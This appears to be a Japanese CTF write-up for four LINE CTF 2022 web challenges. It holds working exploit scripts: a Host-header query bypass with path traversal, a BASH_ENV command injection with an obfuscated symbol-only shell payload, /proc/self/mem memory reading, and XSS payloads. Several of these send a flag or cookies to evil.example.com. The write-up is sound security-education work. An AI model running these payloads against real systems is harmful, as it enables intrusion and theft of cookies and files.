LINE CTF 2022 に ./Vespiary で参加して13位でした!
解いたweb問のwriteupを書きます。
Links 感想 LINE CTFは去年から始まって2回目です。企業が大きめの賞金を出してCTFを主催しているのは貴重だし、こういう風潮ができると世間的にも盛り上がりが増すと思うので、CTF playerとしても非常にありがたいです。感謝しかない。
問題については、ツイートでも言ってますがweb問はどれも質が高く内容もおもしろかったです。来年も開催されるなら是非参加したいです(来年も開催お願いします!)。
また、昨年は難しい問題に全然太刀打ちできなかった記憶があるのですが、今年は比較的多くの問題が解けて成長を実感できてうれしいです。精進していきたい。解けなかった(というより挑む時間が割けなかった)問題も復習したいので、問題ファイルや公式writeupが公開されるといいな。
[web] Memo Drive 147 pts, 42 solves
問題文:
(なし)
問題概要 Starlette製のメモ投稿サービス フラグは問題サーバの ./memo/flag
に置かれている 解法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def view (request ): context = {} try : context['request' ] = request clientId = getClientID(request.client.host) if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]): raise filename = request.query_params[clientId] path = './memo/' + "" .join(request.query_params.keys()) + '/' + filename f = open (path, 'r' ) contents = f.readlines() f.close() context['filename' ] = filename context['contents' ] = contents except : pass return templates.TemplateResponse('/view/view.html' , context)
/view
のエンドポイントで、path
の値が./memo/flag
相当のパスになるようなリクエストを送れたらフラグファイルが見れる。ただし、クエリのバリデーションがあるせいで簡単にはpath traversalができないようになっている。
バリデーションにrequest.url.query
とrequest.query_params
の2種類を使っているのが怪しい。
request.url.query
の実装を見てみると、HOST
ヘッダを参照してURLを解釈していることがわかった:
よって、リクエストにHost: example.com#
のヘッダを付けるとURLのドメイン以降がすべてフラグメントとして解釈されてrequest.url.query
が空文字列になる。
一方で、request.query_params
はHOST
ヘッダに左右されないのでこの実装の差異を用いてbypassが可能。あとはpath traversalをするだけ。
攻撃 以下のようなリクエストを投げるとOK。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 $ http "http://34.146.195.115/view?9dd4e461268c8034f5c8564e155c67a6=flag&%2F.." Host:"example.com#" HTTP/1.1 200 OK content-length: 683 content-type: text/html; charset=utf-8 date : Sat, 26 Mar 2022 18:07:05 GMTserver: uvicorn <!DOCTYPE html> <html lang="en" > <head > <meta charset="utf-8" > <script type ="text/javascript" src="/memo.js" ></script> <script type ="text/javascript" src="/jquery.min.js" ></script> <link rel="stylesheet" type ="text/css" href="/static/memo.css" > <title>Simple Memo</title> </head> <body> <div class="main" > <p> <span>flag</span><br/> <input type ="button" id ="memo-button" value="BACK" onclick="history.back()" /><br/> <span id ="memo-box" > LINECTF{The_old_bug_on_urllib_parse_qsl_fixed} </span> </p> </div> </body> </html>
フラグ 1 LINECTF{The_old_bug_on_urllib_parse_qsl_fixed}
[web / misc] bb 179 pts, 27 solves
問題文:
Read /flag
問題概要 miscタグがついてるPHPのweb問 フラグは問題サーバの/flag
に置かれている PHPのコードはこれだけ:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 ); function bye ($s , $ptn ) { if (preg_match ($ptn , $s )){ return false ; } return true ; } foreach ($_GET ["env" ] as $k =>$v ){ if (bye ($k , "/=/i" ) && bye ($v , "/[a-zA-Z]/i" )) { putenv ("{$k} ={$v} " ); } } system ("bash -c 'imdude'" ); foreach ($_GET ["env" ] as $k =>$v ){ if (bye ($k , "/=/i" )) { putenv ("{$k} " ); } } highlight_file (__FILE__ ); ?>
クエリパラメータで環境変数を登録できる bash
で存在しないコマンドimdude
を呼んでいる 解法 まず、存在しないコマンドを叩いてるのは明らかにおかしいので、ここが問題の中心。bashにいい感じの環境変数を渡すことで、存在しないコマンドを叩いたときの挙動が変わることができたらうれしい。
調べてみるとshell shockの記事が見つかった:
今回の問題であれば、BASH_FUNC_imdude%%
の環境変数を任意に登録できたら任意コード実行が可能になる。ただし、system
関数実行時に経由するsh(中身はdash)が%
を含む名前の環境変数を拒否するということをチームメンバが発見してくれて、無理だということがわかった。
途方に暮れていたら、チームメンバが
1 BASH_ENV=$(cat /flag | hogehoge)
のように環境変数を登録すると任意コード実行できることを発見してくれたので、あとは環境変数の値部分のバリデーションをbypassするだけとなった。
環境変数の値は"/[a-zA-Z]/i"
にマッチしないようにする必要がある。これはシュル芸で記号オンリーでアルファベットを生成する手法があるので、それを使えばOK:
攻撃 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import httpximport stringfrom urllib.parse import quoteBASE_URL = "http://34.84.94.104" HOOK_URL = "https://evil.example.com" COMMAND = f'curl "{HOOK_URL} /$(cat /flag)"' ALPHABET_PAYLOAD = r'__=$(($$/$$));___=$(($__+$__));____=$(.&>/???/??/$__);____=${____##*.};_____=$(${____:$(($___$(($$-$$))-$__)):$__}${____:$___*$___:$__}${____:$(($___$(($$-$$))-$___)):$__} -${____:$__$(($__+$___)):$__}&>/???/??/$__);_____=${_____##*${____:$(($___$(($$-$$))-$__)):$__}${____:$___*$___:$__}${____:$(($___$(($$-$$))-$___)):$__}};_____=${_____,,};______=($(${____:$(($___*$___)):$__}${_____:$__$(($___*$___)):$__}${____:$(($___*$___+$___)):$__}${____:$(($___+$__)):$__} ${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} $(${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} -${____:$(($___*$___)):$__} "{\\${____:$__$(($___*$___)):$__}$(($___*$___+$___))$__..\\${____:$__$(($___*$___)):$__}$(($___*$___*$___-$__))${____:$__$__:$__}}")));_______=($(${____:$(($___*$___)):$__}${_____:$__$(($___*$___)):$__}${____:$(($___*$___+$___)):$__}${____:$(($___+$__)):$__} ${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} $(${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} -${____:$(($___*$___)):$__} "{\\${____:$__$(($___*$___)):$__}$(($___*$___))$__..\\${____:$__$(($___*$___)):$__}$(($___*$___+$__))${____:$__$__:$__}}")))' def convert_char (c: str ) -> str : assert len (c) == 1 i = string.ascii_lowercase.find(c) if i >= 0 : return "${______[" + str (i) + "]}" i = string.ascii_uppercase.find(c) if i >= 0 : return "${_______[" + str (i) + "]}" return c converted_command = "" .join([convert_char(c) for c in COMMAND]) result_payload = f"$({ALPHABET_PAYLOAD} ;{converted_command} )" res = httpx.get( f"{BASE_URL} ?env[BASH_ENV]={quote(result_payload)} " ) assert res.status_code == 200 print (res.text)
フラグ 1 LINECTF{well..what_do_you_think_about}
[web] online library 210 pts, 19 solves
問題文:
Some weird book library web is under developing now.
問題概要 Express製 bot(クローラ)のクッキーにフラグがセットされる 解法 /:t/:s/:e
のエンドポイントでpath traversalが可能で、問題サーバ上のread権限がある任意のファイルをoffsetとlengthの指定付きで読むことができる。また、テキストはHTMLとして表示されるので、XSSペイロードを含むテキストをbotにアクセスさせると攻撃が成立する。
ところで、/proc/self/mem
も読めるのでメモリの中身を直接取り出せる。XSSペイロードがnodeプロセスのメモリに残るような適当なリクエストをあらかじめ投げておいて、メモリ上のペイロードの位置を特定してから、botがそこのメモリを読むようにreportすれば良さそう。
試しに/identify
エンドポイントでusername
に入れた文字列がメモリ上に残ることを確認したので、上記の攻撃は成立する。
攻撃 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import httpximport timeBASE_URL = "http://35.243.100.112" HOOK_URL = "https://evil.example.com" EVIL_CODE = f'</script><script>location="{HOOK_URL} /"+document.cookie</script>' .encode() MAPS_PREFIX = "<h1>../../../../proc/self/maps</h1><hr/>" MEM_PREFIX = "<h1>../../../../proc/self/mem</h1><hr/>" MAX_LEN = 1024 * 256 res = httpx.get( f"{BASE_URL} /..%2F..%2F..%2F..%2Fproc%2Fself%2Fmaps/0/6196" , ) assert res.status_code == 200 open ("data/maps" , "wb" ).write(res.content)maps = res.content[len (MAPS_PREFIX):].rstrip(b"\x00" ) for line in maps.split(b"\n" ): if b"[heap]" in line: print (line) parts = line.split(b" " )[0 ].split(b"-" ) mem_start = int (parts[0 ], 16 ) mem_end = int (parts[1 ], 16 ) for i in range (1000 ): start = mem_start + MAX_LEN*i end = min (mem_end, mem_start + MAX_LEN*(i+1 )) if start > end: break res = httpx.get( f"{BASE_URL} /..%2F..%2F..%2F..%2Fproc%2Fself%2Fmem/{start} /{end} " , timeout=5 , ) assert res.status_code == 200 mem = res.content[len (MEM_PREFIX):].rstrip(b"\x00" ) open (f"data/mem/{start} _{end} " , "wb" ).write(mem) index = mem.find(EVIL_CODE) if index >= 0 : margin = 1024 * 50 code_start = start + index code_end = start + (index + len (EVIL_CODE)) evil_payload = f"/..%2F..%2F..%2F..%2Fproc%2Fself%2Fmem/{code_start - margin} /{code_end + margin} " print (f"{evil_payload = } " ) res = httpx.get( f"{BASE_URL} {evil_payload} " , timeout=5 , ) assert res.status_code == 200 assert EVIL_CODE in res.content exit(0 ) time.sleep(0.5 )
上記スクリプト内のEVIL_CODE
の文字列を/identify
エンドポイントで送信。 上記スクリプトを実行。 表示されたURLをreportすると、フラグが降ってくる。 フラグ 1 LINECTF{705db4df0537ed5e7f8b6a2044c4b5839f4ebfa4}
[web] Haribote Secure Note 322 pts, 7 solves
問題文:
I LOVE MODERN FEATURES! MODERN IS THE SUPREME!!
問題概要 flask製のノート投稿サービス bot(クローラ)のクッキーにフラグがセットされる 投稿したノート一覧をbotに見せることが可能 解法 innerHTML
経由で好きな文字列を代入することができるが、trustedTypesでXSSが防がれている:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <script nonce ="{{ csp_nonce }}" > (() => { trustedTypes.createPolicy ("default" , { createHTML (unsafe ) { return unsafe .replace (/&/g , "&" ) .replace (/</g , "<" ) .replace (/>/g , ">" ) .replace (/"/g , """ ) .replace (/"/g , "'" ) } }); })(); </script >
ただし、trustedTypesなどのCSPの機構はクライアントでの実行時の防御機構であるため、サーバ上でのレンダリング(テンプレートエンジンの文字列展開)はCSPの影響を受けない。
テンプレートエンジン経由でXSSが仕込めそうなのは、index.j2
内の以下の2箇所:
1 2 3 4 5 6 7 8 <script nonce ="{{ csp_nonce }}" > const printInfo = ( ) => { const sharedUserId = "{{ shared_user_id }}" ; const sharedUserName = "{{ shared_user_name }}" ; } </script >
1 2 3 4 5 6 <script nonce ="{{ csp_nonce }}" > const render = notes => { /* ... snip ... */ }; render( {{ notes }} ) </script >
{{ shared_user_id }}
は^[a-zA-Z0-9-_]{1,50}$
のバリデーションがあるので使い物にならない。 {{ shared_user_name }}
は任意文字列を仕込めるが、長さ上限が16で短い。 {{ notes }}
はdictで、展開時に文字列に変換されてレンダリングされる。dict内のkey/valueのvalue部分に好きな文字列を仕込める。 ただし、'
は\'
にエスケープされてしまうので、ここ単独だけではXSSはできない。 ちょうど{{ shared_user_name }}
はHTML上部で{{ notes }}
はHTML下部であるため、間の部分をいい感じにコメントアウトすれば、XSSができそう。
<script>
周りのコメントアウトの仕様はややこしいが、試行錯誤したら間の部分をscript data double escaped state にすることで実現できた:
攻撃 以下の内容のノートを投稿する: 1 --> */ };location="https://evil.example.com"+document.cookie</script > </div > </body > </html >
"/*<!--<script>
をdisplayNameにする。 botにreportする。 最終的に
1 2 3 4 5 6 7 8 9 10 11 <script nonce ="{{ csp_nonce }}" > const printInfo = () => { const sharedUserId = " {{ shared_user_id }} "; const sharedUserName = ""/* </script > </div > </body > </html >
のようなHTMLになり、フラグGET。
フラグ 1 LINECTF{0n1y_u51ng_m0d3rn_d3fen5e_m3ch4n15m5_i5_n0t_3n0ugh_t0_0bt41n_c0mp13te_s3cur17y}